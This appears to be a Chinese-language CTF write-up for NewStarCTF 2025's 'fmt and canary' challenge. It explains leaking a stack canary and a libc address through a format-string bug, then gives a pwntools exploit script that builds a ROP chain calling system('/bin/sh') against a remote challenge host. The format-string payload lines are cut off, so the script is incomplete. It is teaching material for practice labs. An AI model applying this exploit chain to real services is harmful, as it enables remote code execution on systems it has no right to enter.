格式化字符串泄露canary——newstarctf2025_fmt and canary

L1rics 发布于 8 天前 21 次阅读


一道利用格式化字符串漏洞泄露canary值的题目

如何泄露就不细说了,在下面的文章已经讲过,这里只需要记住 $np n=6是泄露的是栈顶就行了

这里补充一下这道题的另外一个点,也就是如何泄露got表的偏移,使用ROPgadget发现程序并没有可以现成利用rdi的gadget,也就是我们不能直接通过调用puts来泄露函数地址,于是这有一个小技巧。

在main函数的栈帧的高位,其实还存在__libc_start_main 等函数的栈帧,也就说,我们可以通过控制格式化字符串漏洞的泄露,直接泄露返回到这个函数的地址,再使用Libcsearch确定偏移。

在实际的操作上,我们可以通过gdb的backtrace和stack手动确认泄露位置

Exp

from pwn import *
from LibcSearcher import LibcSearcher
context(os="linux",arch="amd64",log_level="debug")

#sh = process("./fmt_canary")
sh = remote("39.106.48.123",41557)
elf = ELF("./fmt_canary")
libc = ELF("./fmt_canary_libc.so.6")

puts_got = elf.got["puts"]


sh.recvuntil(b"!\n")
sh.sendline("

leak = sh.recvline().strip()
canary = int(leak,16) 
print(hex(canary))

sh.recvuntil(b"!\n")
sh.sendline("

leak1 = sh.recvline().strip()
__libc_start_main = int(leak1,16)-128
print(hex(__libc_start_main))

libc_base = __libc_start_main - libc.symbols["__libc_start_main"]
pop_rdi = 0x002a3e5 + libc_base
ret = 0x40101a 
binsh = libc_base + next(libc.search(b"/bin/sh"))
system = libc_base + libc.symbols["system"]


print(hex(libc_base))
print(hex(elf.bss()))  

payload = p64(canary)*7 + p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system)

sh.sendline(b"end")
sh.recvuntil(b'QwQ:')
sh.sendline(payload)

sh.interactive()
此作者没有提供个人介绍。
最后更新于 2025-10-30